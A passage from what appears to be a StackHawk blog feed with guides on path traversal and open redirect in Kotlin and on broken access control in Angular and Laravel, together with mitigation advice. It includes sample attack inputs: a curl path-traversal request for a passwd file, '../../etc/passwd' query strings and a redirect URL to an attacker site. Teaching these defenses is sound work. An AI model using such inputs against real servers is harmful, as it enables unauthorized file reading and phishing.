HTTP request, that person can bypass some string validations used to sanitize user input. This approach can lead to granting the attacker access to files and directories on your server. &lt;/p&gt;&lt;p&gt;OK, but what would that look like in code?  &lt;/p&gt;&lt;p&gt;&lt;code&gt;curl http://mysecuresite.com/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/passwd%00&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;See the &lt;b&gt;%00&lt;/b&gt; at the end? Those characters could cause basic validation methods to decode to &lt;b&gt;\0.txt\0&lt;/b&gt;. And that opens the door to give access to the &lt;b&gt;passwd&lt;/b&gt; file.  &lt;/p&gt;&lt;h3&gt;More Mitigation&lt;/h3&gt;&lt;p&gt;To mitigate this attack, we need to improve basic user input validations.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Path traversal attacks, by themselves, usually aren&amp;#39;t sophisticated. They rely on poor access control implementations or outdated, vulnerable libraries. Still, it&amp;#39;s crucial to understand their potential for damage and do your best to prevent them.  &lt;/p&gt;&lt;p&gt;Obviously, you don&amp;#39;t want users accessing sensitive files on your server. Therefore, it&amp;#39;s vital to implement proper validations whenever possible.  &lt;/p&gt;&lt;p&gt;Thankfully, doing so isn&amp;#39;t really complicated. &lt;/p&gt;&lt;h2&gt;Mitigation Strategies for Path Traversal Attacks&lt;/h2&gt;&lt;p&gt;First, let&amp;#39;s explore a scenario where our application needs to provide access to files in different folders—profile pictures and essays, for example.  &lt;/p&gt;&lt;p&gt;In this situation, we could implement path validations with some hardcoded prefix values. However, this would only open our platform to &lt;i&gt;prefix&lt;/i&gt; path traversal attacks. &lt;/p&gt;&lt;h3&gt;Path Prefix Validation&lt;/h3&gt;&lt;p&gt;By inputting dots and slashes in a particular way as the user input in the application, an attacker can bypass your validation and traverse the server filesystem.  &lt;/p&gt;&lt;p&gt;That&amp;#39;s quite simple but powerful. &lt;/p&gt;&lt;p&gt;So, to mitigate this vulnerability, you must account for this specific pattern and ensure that your string contains only valid characters. Later, you can either strip them from your string or return an error. &lt;/p&gt;&lt;h3&gt;Safelists&lt;/h3&gt;&lt;p&gt;A safelist, also called whitelist, is a list of valid possible paths that can be accessed reliably. By validating the input provided against the list, you can then weed out potential attacks.  &lt;/p&gt;&lt;p&gt;Also, if you designed your application to produce files in a particular scheme—say, lowercase alphanumeric characters—you can then validate that the user input conforms to this standard. &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Adding a safelist validation to user inputs can serve as an extra layer of protection against malicious attacks.  &lt;/p&gt;&lt;h2&gt;Summing Up and Learning More&lt;/h2&gt;&lt;p&gt;Finally, I want to emphasize that even though you can deliver a fair amount of security with simple validations, the best defense is always to restrict user input. Only allow specific access when absolutely needed. &lt;/p&gt;&lt;p&gt;Furthermore, development kits, packages, and libraries are pretty robust and have implemented many layers of protection against path traversal. However, there&amp;#39;s always the possibility that you introduce a vulnerability in your code unintentionally. Therefore, you can always count on the excellent Kotlin community to expand your options. &lt;/p&gt;&lt;p&gt;Additionally, consider the &lt;a href=&quot;https://www.stackhawk.com/product/&quot;&gt;&lt;u&gt;security analysis solution StackHawk&lt;/u&gt;&lt;/a&gt;. Providing secure solutions nowadays is incredibly complex and requires a lot of work. So for developers who just want to focus on delivering quality solutions and staying productive, &lt;a href=&quot;https://www.stackhawk.com/&quot;&gt;&lt;u&gt;StackHawk&lt;/u&gt;&lt;/a&gt; offers a security test suite so that you can go back to focus on your work. You can &lt;a href=&quot;https://auth.stackhawk.com/signup&quot;&gt;&lt;u&gt;sign up here&lt;/u&gt;&lt;/a&gt;. &lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Juan Reyes. &lt;/i&gt;&lt;a href=&quot;https://www.ajourneyforwisdom.com/&quot;&gt;&lt;u&gt;&lt;i&gt;Juan&lt;/i&gt;&lt;/u&gt;&lt;/a&gt;&lt;i&gt; is an engineer by profession and a dreamer by heart who crossed the seas to reach Japan following the promise of opportunity and challenge. While trying to find himself and build a meaningful life in the east, Juan borrows wisdom from his experiences as an entrepreneur, artist, hustler, father figure, husband, and friend to start writing about passion, meaning, self-development, leadership, relationships, and mental health. His many years of struggle and self-discovery have inspired him and drive to embark on a journey for wisdom.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Kotlin Open Redirect Guide: Examples and Prevention]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/kotlin-open-redirect-guide-examples-and-prevention</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;In the interest of providing robust solutions for the ever-evolving needs of our users, we developers must keep our skillsets sharp and updated. Building solutions that stand the tests of the modern web and its threats is simply not a one-person task anymore. Moreover, protecting our platforms from the vast catalog of threats is unquestionably a daunting responsibility that requires years of experience. But don&amp;#39;t be intimidated. Resources exist all over the web to help those who need guidance.&lt;/p&gt;&lt;p&gt;The objective of this article is to provide guidance on open redirect vulnerabilities. We will explore the many vulnerabilities that one can find in platforms lacking proper security measures and how to mitigate them effectively. And we&amp;#39;ll keep our examination of open redirect brief and limit the scope to the Kotlin and Spring boot development stack. If you want to explore open redirect further, you can read our in-depth article.&lt;/p&gt;&lt;p&gt;We assume you already have some background knowledge of the Kotlin and Spring development stack. If that&amp;#39;s not the case,&lt;a href=&quot;https://spring.io/guides/gs/spring-boot/&quot;&gt; &lt;u&gt;Spring has published some great introductory material.&lt;/u&gt;&lt;/a&gt;&lt;/p&gt;&lt;h2&gt;Kickstarting Our Demo Site&lt;/h2&gt;&lt;p&gt;Before we tackle open redirect, we want to make sure your environment is ready. So let&amp;#39;s start by crafting a demo site in Spring boot using the start.spring.io tool.&lt;/p&gt;&lt;p&gt;&lt;b&gt;Note:&lt;/b&gt; If you want to get straight to the point, feel free to skip to the next section.&lt;/p&gt;&lt;p&gt;If you already have your environment ready to work with Java and have an IDE set up and ready, we can proceed to&lt;a href=&quot;https://start.spring.io/&quot;&gt; &lt;u&gt;https://start.spring.io&lt;/u&gt;&lt;/a&gt; and set up our project. Again, remember to select &amp;quot;Spring Web&amp;quot; as your dependency before downloading your boilerplate project.&lt;/p&gt;&lt;p&gt;After the download completes, proceed to the &lt;b&gt;src/main/java/com/example/demo&lt;/b&gt; folder and create a class file called HomeController.kt and input the following code:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Then proceed to the &lt;b&gt;src/main/resources/templates&lt;/b&gt; folder and corresponding header and footer templates. Notice that we have chosen the &lt;b&gt;mustache&lt;/b&gt; template syntax. You can, however, make them in the syntax of your preference.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;That&amp;#39;s all you need.&lt;/p&gt;&lt;p&gt;Now run the code by typing &amp;quot;gradle bootRun&amp;quot; in the terminal and see your website on localhost:8080.&lt;/p&gt;&lt;p&gt;You can proceed to the&lt;a href=&quot;https://spring.io/guides/tutorials/spring-boot-kotlin/&quot;&gt; &lt;u&gt;Spring Boot tutorial page&lt;/u&gt;&lt;/a&gt; for more information on this particular example and the whole code.&lt;/p&gt;&lt;h2&gt;What Is Open Redirect?&lt;/h2&gt;&lt;p&gt;Understanding open redirect requires knowing what redirects are. Essentially, redirects are the way servers move the user from one page to another. Thus, redirects serve as a tool for developers to ensure that their users follow the proper flow of predefined use cases.&lt;/p&gt;&lt;p&gt;The primary purpose of redirects is to provide continuity in navigation for functionality purposes. Additionally, they are used as a contingency against the incursion into an incorrect or unauthorized address. &lt;/p&gt;&lt;p&gt;Clearly, redirects provide vital functionality for the web. That&amp;#39;s why they&amp;#39;re a prime target for an attacker hoping to mislead users to malicious sites.&lt;/p&gt;&lt;p&gt;Open redirect attacks happen when an unvalidated URL, usually provided by a bad actor, is not adequately validated. As a result, users clicking on links using these malicious URLs end up redirected to malicious websites. Attackers rely on these vulnerabilities in phishing scams and when attempting to steal a visitor&amp;#39;s credentials.&lt;/p&gt;&lt;h2&gt;Examples of Open Redirect Attacks&lt;/h2&gt;&lt;p&gt;So what does a malicious URL look like? Well, something like this:&lt;/p&gt;&lt;p&gt;&lt;code&gt;http://mysafesite.com/page.php?to_url=http://attackersite.com&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;OK, so we can see at a glance that the vulnerable site mysafesite.com contains a &amp;quot;page&amp;quot; that includes a feature that receives user input, in this case a URL, in the query string and uses it to redirect the user.&lt;/p&gt;&lt;p&gt;If you were to click on this link, the browser would redirect you to the legitimate website. &lt;/p&gt;&lt;p&gt;Great, right? &lt;/p&gt;&lt;p&gt;Yeah, but if the target server does not correctly validate the provided URL, it will redirect you to the URL provided as a query string. In this case, the site happens to be a malicious site controlled by the attacker. &lt;/p&gt;&lt;p&gt;Additionally, since the original URL contains a safe-looking URL, the attacker could easily fool you about the intention of the attack. &lt;/p&gt;&lt;p&gt;Subsequently, once you land on the attacker&amp;#39;s site, the attacker can disguise the site to look just like the target site and ask for credentials. Ultimately, the attacker will redirect you to the legitimate site after obtaining your credentials.&lt;/p&gt;&lt;p&gt;This is not the full extent of open redirect vulnerabilities. Despite the low level of sophistication, open redirect attacks are usually bundled with phishing and cross-site scripting.&lt;/p&gt;&lt;p&gt;Now let&amp;#39;s look at the different types of open redirect attacks.&lt;/p&gt;&lt;h3&gt;Header-Based Open Redirect&lt;/h3&gt;&lt;p&gt;Header-based open redirect attacks exploit vulnerable code by attacking the user input. These attacks depend on social engineering tactics and the redirect mechanism in the platform. Moreover, no JavaScript is required for this attack.&lt;/p&gt;&lt;h3&gt;JavaScript-Based Open Redirect&lt;/h3&gt;&lt;p&gt;JavaScript-based open redirects happen when part of the redirect requires executing JavaScript. Accordingly, redirects of this kind do not work for server-side functions.&lt;/p&gt;&lt;h2&gt;Mitigating Open Redirect Vulnerabilities&lt;/h2&gt;&lt;p&gt;The best way to mitigate open redirect vulnerabilities is to do away with redirects. Unfortunately, this means we have to rethink our approach to solutions that rely on redirection.&lt;/p&gt;&lt;p&gt;This course of action might not be viable for you. Still, we want to stress that even if you think you need redirection, you might not. There are modern, reliable, and safe ways to provide the same functionality. &lt;/p&gt;&lt;p&gt;Nevertheless, we will offer some alternatives.&lt;/p&gt;&lt;h3&gt;Limiting Destinations&lt;/h3&gt;&lt;p&gt;Limiting the possible redirection destinations available to users can go a long way toward preventing attacks. &lt;/p&gt;&lt;p&gt;Additionally, using fixed options in your application makes it harder for these exploits to work.&lt;/p&gt;&lt;h3&gt;Sanitizing Input&lt;/h3&gt;&lt;p&gt;Parsing and sanitizing user inputs can weed out many of the attacks the application could be subject to. For example, if the user is not supposed to navigate out of your domain but tries to anyway, that is a red flag.&lt;/p&gt;&lt;p&gt;A simple implementation of this solution on Spring boot would look like the following:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Notice that we are verifying that the user input is in the safelist with a simple match. However, you can implement a more robust and complex matching solution with a RegEx.&lt;/p&gt;&lt;p&gt;Additionally, we explicitly indicate the URL&amp;#39;s domain in the redirect. This way, if the attacker manages to exploit the safelist for some reason, the attack will not succeed in taking the user away from your domain.&lt;/p&gt;&lt;p&gt;Beyond these strategies, implementing system-wide solutions like firewalls and redirection notices is recommended.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h2&gt;In Conclusion&lt;/h2&gt;&lt;p&gt;Finally, we want to stress the importance of regular penetration tests, security audits, and keeping libraries updated. Unfortunately, doing this extra work can be complex and time-consuming. That&amp;#39;s why we encourage you to consider StackHawk.&lt;/p&gt;&lt;p&gt;StackHawk tests your production-ready applications, services, and APIs for security vulnerabilities that your team might have introduced. Additionally, it searches for exploitable open source security bugs and suggests actionable solutions to mitigate them.&lt;/p&gt;&lt;p&gt;Please follow this &lt;a href=&quot;https://www.stackhawk.com/&quot;&gt;&lt;u&gt;link&lt;/u&gt;&lt;/a&gt; if you want to read more about our solution and start providing sound and reliable protection for your platforms.&lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Juan Reyes. &lt;/i&gt;&lt;a href=&quot;https://www.ajourneyforwisdom.com/&quot;&gt;&lt;u&gt;&lt;i&gt;Juan&lt;/i&gt;&lt;/u&gt;&lt;/a&gt;&lt;i&gt; is an engineer by profession and a dreamer by heart who crossed the seas to reach Japan following the promise of opportunity and challenge. While trying to find himself and build a meaningful life in the east, Juan borrows wisdom from his experiences as an entrepreneur, artist, hustler, father figure, husband, and friend to start writing about passion, meaning, self-development, leadership, relationships, and mental health. His many years of struggle and self-discovery have inspired him and drive to embark on a journey for wisdom.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Angular Broken Access Control Guide: Examples and Prevention]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/angular-broken-access-control-guide-examples-and-prevention</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;Understanding the fundamentals of access control and authorization is one of the essential skills for any respectable developer. Whether you’re a developer working with security-sensitive applications or a security enthusiast who wants to expand your knowledge, security is an essential part of using the modern web.&lt;/p&gt;&lt;p&gt;This article aims to explore the subject of &lt;b&gt;access control&lt;/b&gt; and help you improve your ability to ensure adequate security for your platforms.&lt;/p&gt;&lt;p&gt;First, we’ll briefly define broken access control. Then, we’ll illustrate, with examples, what broken access control looks like and the vulnerabilities it targets. Finally, we’ll propose some mitigating methods for those vulnerabilities.&lt;/p&gt;&lt;p&gt;Before we dive into the subject, we want to emphasize that this article is written specifically for Angular developers. Therefore, please follow this &lt;a href=&quot;https://angular.io/start&quot;&gt;&lt;u&gt;link&lt;/u&gt;&lt;/a&gt; if you&amp;#39;re not an Angular developer or haven&amp;#39;t yet worked with it.  &lt;/p&gt;&lt;p&gt;Having said that, you don&amp;#39;t have to know Angular to benefit from this article. The explanations apply to any technology and will ultimately help you understand the subject better. &lt;/p&gt;&lt;h2&gt;Fastest Angular Intro&lt;/h2&gt;&lt;p&gt;Now, before we start, let&amp;#39;s build our Angular project that will serve as the basis for this article. Don&amp;#39;t worry — these instructions are extremely brief. &lt;/p&gt;&lt;p&gt;First, if you don&amp;#39;t have Angular installed, let&amp;#39;s install it. To achieve that, run the following command in the terminal. &lt;/p&gt;&lt;p&gt;&lt;code&gt;npm install -g @angular/cli&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Once that is done, create a project scaffold with the following command on the terminal. &lt;/p&gt;&lt;p&gt;&lt;code&gt;ng new my-app&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Finally, let&amp;#39;s move into the newly created project folder and run the following command to start the server. &lt;/p&gt;&lt;p&gt;&lt;code&gt;ng serve&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;And that&amp;#39;s it. Go to &lt;b&gt;localhost:4200&lt;/b&gt; in your browser and see the fruit of your labor. &lt;/p&gt;&lt;p&gt;Pretty impressive, right?&lt;/p&gt;&lt;h2&gt;What is Access Control?&lt;/h2&gt;&lt;p&gt;OK, so what is access control in the first place? &lt;/p&gt;&lt;p&gt;Well, if you’ve seen a login page, you’ve already interacted with an implementation of access control. &lt;/p&gt;&lt;p&gt;&lt;b&gt;Access control&lt;/b&gt;, generally known as authorization, is a set of mechanisms and policies that enforce access to resources. &lt;/p&gt;&lt;p&gt;Typically, once a server determines who you are through an authentication mechanism, it then grants or restricts what resources you have access to in the system. &lt;/p&gt;&lt;p&gt;Additionally, the authorization infrastructure serves as the backbone for user tracking and resource monitoring. &lt;/p&gt;&lt;p&gt;Adequately implementing a robust and secure access control system is a complex and tricky endeavor. Access control is, by nature, intimately tied to the system architecture. &lt;/p&gt;&lt;p&gt;Because users of most platforms often fit into more than one role, access control complexity can rise exponentially. &lt;/p&gt;&lt;p&gt;The challenge of developing robust access control can be intimidating, even for experienced engineers. Depending on the scale and complexity of your system, an adequate solution could mean implementing simple authentication, a third-party library, or even a combination of both. &lt;/p&gt;&lt;p&gt;Thankfully, JavaScript and Angular have popular and robust solutions like &lt;b&gt;auth0&lt;/b&gt; and &lt;b&gt;JWT&lt;/b&gt; (JSON Web Tokens), to name a few.&lt;/p&gt;&lt;h2&gt;What&amp;#39;s Broken Access Control?&lt;/h2&gt;&lt;p&gt;Very briefly, &lt;b&gt;broken access control&lt;/b&gt; comprises the threats or vulnerabilities that can affect your access to your system&amp;#39;s components. &lt;/p&gt;&lt;p&gt;A breach of access control can be disastrous for your system because it allows attackers to essentially gain free rain over your platform. Therefore, it’s crucial to address any vulnerabilities that exist. &lt;/p&gt;&lt;h2&gt;Broken Access Control Vulnerabilities&lt;/h2&gt;&lt;p&gt;Now that we understand the concept of broken access control, let&amp;#39;s talk about actual examples of these attacks. &lt;/p&gt;&lt;p&gt;We will focus on insecure IDs, path traversal, file permission vulnerabilities, and client caching attacks. &lt;/p&gt;&lt;h4&gt;Insecure ID&amp;#39;s Vulnerability&lt;/h4&gt;&lt;p&gt;Most relational databases that store data use IDs to identify resources. Moreover, modern websites use some form of ID or index to quickly and efficiently retrieve data. So, if your website allows users to input their ID for these sensitive resources and the IDs are easy to guess, you’re vulnerable to this attack. &lt;/p&gt;&lt;p&gt;Let&amp;#39;s illustrate.  &lt;/p&gt;&lt;p&gt;Imagine you have a profile page section that displays a user profile. Then the following URL retrieves the user profile. &lt;/p&gt;&lt;p&gt;&lt;code&gt;https://www.mywebsite.com/profile?id=123&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;However, if I were to change the number in the query string manually and no active access control existed, I could access any profile. &lt;/p&gt;&lt;p&gt;To mitigate this vulnerability, we must address it early on in the development cycle. &lt;/p&gt;&lt;p&gt;First, IDs should not be easily guessable. Therefore, you must develop your system so that all IDs (or at least those belonging to sensitive resources) are both obfuscated and unique. You can do this by implementing &lt;b&gt;globally unique identifiers&lt;/b&gt;, or &lt;b&gt;GUIDs&lt;/b&gt;, as IDs. &lt;/p&gt;&lt;p&gt;Another solid solution would involve session validation of every request, along with proper access control. &lt;/p&gt;&lt;h4&gt;Path Traversal Vulnerability&lt;/h4&gt;&lt;p&gt;The idea behind &lt;b&gt;path traversal&lt;/b&gt; is to navigate the directory tree of a filesystem without authorization. &lt;/p&gt;&lt;p&gt;This means that systems allowing users to access resources in the server file system are vulnerable. &lt;/p&gt;&lt;p&gt;This vulnerability is especially hazardous if the path string is accessible for modification and no validation exists. &lt;/p&gt;&lt;p&gt;To illustrate, look at the following scenario. &lt;/p&gt;&lt;p&gt;&lt;code&gt;https://www.mywebsite.com/photos?file=user.png&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;In this scenario, an attacker could change &lt;b&gt;user.png&lt;/b&gt; to &lt;b&gt;../../etc/passwd&lt;/b&gt; and access the application’s data.&lt;/p&gt;&lt;p&gt;To mitigate path traversal attacks you must implement proper validation of user input and restrict access to the server directory outside of the application. &lt;/p&gt;&lt;p&gt;Fortunately, responsibility for this usually lies within the server engineer. However, ensure that you implement robust and tested libraries if you enable functionalities that require accessing and modifying files in the server, like file uploads. &lt;/p&gt;&lt;h4&gt;File Permission Vulnerability&lt;/h4&gt;&lt;p&gt;File permission vulnerabilities relate to the server file system. &lt;/p&gt;&lt;p&gt;Applications contain many configuration files and resources that should not be modifiable and, in most cases, are not readable or executable for users. However, without proper configuration policies, an attacker can target these files and take over an entire platform. &lt;/p&gt;&lt;p&gt;To illustrate this, here’s an example of an attempt to access a file that should be unreadable. &lt;/p&gt;&lt;p&gt;&lt;code&gt;https://www.mywebsite.com/photos?file=../../angular.json&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Addressing file permission vulnerabilities requires extensive knowledge of server configuration and maintenance. So we advise that you consult with server engineers and avoid touching anything. Unless you absolutely need to tinker with the server permissions to add features related to file manipulation, leave this to the server engineers. &lt;/p&gt;&lt;h4&gt;Client Caching Vulnerability&lt;/h4&gt;&lt;p&gt;Now, it’s very likely that some of your clients share computers with other users. Unfortunately, that’s a circumstance that we, as developers, cannot control, but it enables vulnerabilities like client caching. &lt;/p&gt;&lt;p&gt;Client caching vulnerabilities are difficult to mitigate because they involve attackers taking advantage of a session credential, cached pages, or data stored in the browser of an authenticated client. &lt;/p&gt;&lt;p&gt;To exploit this kind of vulnerability, attackers need to have physical access to the victim&amp;#39;s computer. Once they gain access, a sufficiently determined attacker can wreak havoc on user data. &lt;/p&gt;&lt;p&gt;For client caching, the most effective solution is simply not storing sensitive user information on the client. However, if you must, due to some business requirement, make sure to implement proper HTML meta tags and async validations to confirm authority on display. &lt;/p&gt;&lt;h2&gt;Implementing Access Control&lt;/h2&gt;&lt;p&gt;Many factors can make addressing access control vulnerabilities either very simple or incredibly challenging. Your system&amp;#39;s architecture, the complexity of your platform, and the sensitivity of your data are but a few of them. &lt;/p&gt;&lt;p&gt;The first step to securing your system should always be to implement a proper authentication mechanism. &lt;/p&gt;&lt;p&gt;Implementing a solution like &lt;a href=&quot;https://github.com/auth0/auth0-angular&quot;&gt;&lt;u&gt;auth0 &lt;/u&gt;&lt;/a&gt;would get you most of the way there, in terms of security. For the purpose of this article, we only explore how to implement a basic auth0 login. However, you can also explore a solution like JWT if you want a bit more customization. &lt;/p&gt;&lt;p&gt;To start, run the following command to add auth0 to your Angular project. &lt;/p&gt;&lt;p&gt;&lt;code&gt;ng add @auth0/auth0-angular&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Now, go to the &lt;b&gt;app.module.ts&lt;/b&gt; file inside the project src folder and import the module. You can specify the domain and client ID in this file. &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Finally, go to the component where you want to add the login functionality and import the &lt;b&gt;AuthService&lt;/b&gt; module. &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Now, all you need to do is set the proper domain and client ID, add a button to display the login, and voila, you have a login feature with an authentication mechanism. &lt;/p&gt;&lt;p&gt;Of course, there are many more tweaks needed to complete the implementation, but for that, we will guide you to auth0 &lt;a href=&quot;https://github.com/auth0/auth0-angular&quot;&gt;&lt;u&gt;wiki&lt;/u&gt;&lt;/a&gt; page, which has an extensive guide on how to implement their solution correctly.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h2&gt;Conclusion&lt;/h2&gt;&lt;p&gt;Now that you understand what broken access control is and how you can mitigate it&amp;#39;s impact through a combination of proper authentication mechanisms, proper system architecture implementation, and input validation, your systems stand a better chance against malicious actors lurking on the web. &lt;/p&gt;&lt;p&gt;There are as many different approaches to mitigate vulnerabilities in access control as there are vulnerabilities. What&amp;#39;s more, every day, new threats appear on the web, and any of them could be devastating to our platforms. &lt;/p&gt;&lt;p&gt;Unfortunately, achieving robust access control policies can be an overwhelming task. This reality is especially true for big and complex platforms with many services and fronts.  &lt;/p&gt;&lt;p&gt;Nevertheless, we must do what we can to close as many gaps as possible. &lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Juan Reyes. &lt;/i&gt;&lt;a href=&quot;https://www.ajourneyforwisdom.com/&quot;&gt;&lt;u&gt;&lt;i&gt;Juan&lt;/i&gt;&lt;/u&gt;&lt;/a&gt;&lt;i&gt; is an engineer by profession and a dreamer by heart who crossed the seas to reach Japan following the promise of opportunity and challenge. While trying to find himself and build a meaningful life in the east, Juan borrows wisdom from his experiences as an entrepreneur, artist, hustler, father figure, husband, and friend to start writing about passion, meaning, self-development, leadership, relationships, and mental health. His many years of struggle and self-discovery have inspired him and drive to embark on a journey for wisdom.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Laravel Broken Access Control Guide: Examples and Prevention]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/laravel-broken-access-control-guide-examples-and-prevention</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;Access control systems are a lynchpin of the modern Web. Identity management systems handle the question, &amp;quot;Who are you?&amp;quot; and  authentication systems handle the question, &amp;quot;Can you prove who you are?&amp;quot; That leaves the question, &amp;quot;What can you do?&amp;quot; This is answered by the access control system. Now, imagine the fallout if this system is compromised. &lt;/p&gt;&lt;p&gt;In this post, we&amp;#39;ll briefly look at what an access control system is and what it does. We&amp;#39;ll also go through some examples of broken access control systems and how to improve them so they can better secure your application. Let&amp;#39;s start by learning a little bit about access control systems. &lt;/p&gt;&lt;h2&gt;What Is an Access Control System?&lt;/h2&gt;&lt;p&gt;An access control system dictates the permissions that an authenticated user has on a given application. Whenever an authenticated user carries out an action like opening a file or viewing a report, the access control system checks whether the user has the necessary permissions to do so. Some of these systems may also have different granularities in the permissions they grant. For example, a user may view a file but not be able to edit it. Or they may be able to edit it, but not delete it. &lt;/p&gt;&lt;p&gt;&lt;i&gt;Overview of an access control system.&lt;/i&gt;&lt;/p&gt;&lt;p&gt;The image above depicts a high-level overview of what happens with an access control system: &lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Authenticated users make requests to resources.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;All of the different users are of the same type and have the same permissions.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;According to the permissions list, these users can only read and edit the resource. They do not have the delete permission.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;The two users carrying out valid actions on the record are allowed through without issue.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;The user requesting to delete the record is shown an error because the user carried out an action that they&amp;#39;re not allowed to do.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;So now that you know what an access control system does, let&amp;#39;s move on to our next question. &lt;/p&gt;&lt;h2&gt;What Is a Broken Access Control System?&lt;/h2&gt;&lt;p&gt;A broken access control system is one in which your access control permissions are misconfigured or your access control system itself is misbehaving. Going back to our previous example, let&amp;#39;s imagine the following: &lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;The records in the previous example were medical records.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Each authenticated user should only be able to view or edit their own medical records.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;This means that your access control system should differentiate between individual records (or resources) if that&amp;#39;s required by your use case. &lt;/p&gt;&lt;p&gt;Sometimes you may only need to do a check on the type of resource. For example, if you have the &amp;quot;warehouse owner&amp;quot; role in an inventory management system, you should be able to see all of the purchase orders in the system, not just one. &lt;/p&gt;&lt;p&gt;And sometimes, you may need the system to differentiate on an individual resource basis, as shown below.&lt;/p&gt;&lt;p&gt;&lt;i&gt;Overview of a broken ACL implementation.&lt;/i&gt;&lt;/p&gt;&lt;p&gt;In the above example of a medical record system, each user should only be able to see their own file (the resource). The access control system should differentiate between individual files and check permissions for the file itself. Allowing any authenticated user of the same type to access medical records without checking the specific file&amp;#39;s permission is an example of a broken access control system. &lt;/p&gt;&lt;p&gt;To carry this example further, only medical staff like doctors and nurses should have access to all patient files. Individual patients like Bob, Sara, and Mel should only have access to their own files. &lt;/p&gt;&lt;h2&gt;Access Control and Laravel&lt;/h2&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/laravel-cors/&quot;&gt;&lt;u&gt;Laravel&lt;/u&gt;&lt;/a&gt; supports many different access control models. I&amp;#39;ve listed some of the more common ones below. &lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;The very basic &lt;a href=&quot;https://laravel.com/docs/8.x/authentication&quot;&gt;&lt;u&gt;starter kits&lt;/u&gt;&lt;/a&gt; allow you to build simple authentication systems that answer the  &amp;quot;authenticated?&amp;quot;  question with a &amp;quot;yes/no&amp;quot; answer.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;You also have &lt;a href=&quot;https://laravel.com/docs/8.x/authorization#gates&quot;&gt;&lt;u&gt;Gates&lt;/u&gt;&lt;/a&gt;, which lets you bind additional authentication to methods on your controller.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://laravel.com/docs/8.x/authorization#creating-policies&quot;&gt;&lt;u&gt;Policies&lt;/u&gt;&lt;/a&gt; are a more robust way to write authorization logic and center it around a particular model or resource.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;For more advanced use cases, take a look at &lt;a href=&quot;https://laravel.com/docs/8.x/passport&quot;&gt;&lt;u&gt;Laravel Passport&lt;/u&gt;&lt;/a&gt; and &lt;a href=&quot;https://laravel.com/docs/8.x/sanctum&quot;&gt;&lt;u&gt;Laravel Sanctum&lt;/u&gt;&lt;/a&gt;. Passport is built on top of the robust Oauth2 specification, and Sanctum is a great choice if you want to provide authorization capability based on tokens for your single-page app.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Make sure you understand the pros and cons of each system and pick something that works well for you. &lt;/p&gt;&lt;p&gt;Now let&amp;#39;s look at some common mistakes that people do when rolling out an access control system—and how to fix them. &lt;/p&gt;&lt;h3&gt;Insecure Direct Object Reference&lt;/h3&gt;&lt;p&gt;Insecure Direct Object Reference (IDOR) is a type of vulnerability that occurs when an application leaks internal implementation information about resources to the outside world. This is most commonly seen when auto incremental IDs of the database are used as the object reference in a URL. &lt;/p&gt;&lt;p&gt;&lt;code&gt;https://my-shopping-site.com/orders/id/1234&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;If you&amp;#39;ve bought anything on the Internet, you would have seen a URL like that when browsing your past orders. Have you ever tried changing the &lt;b&gt;1234&lt;/b&gt; part of the URL and 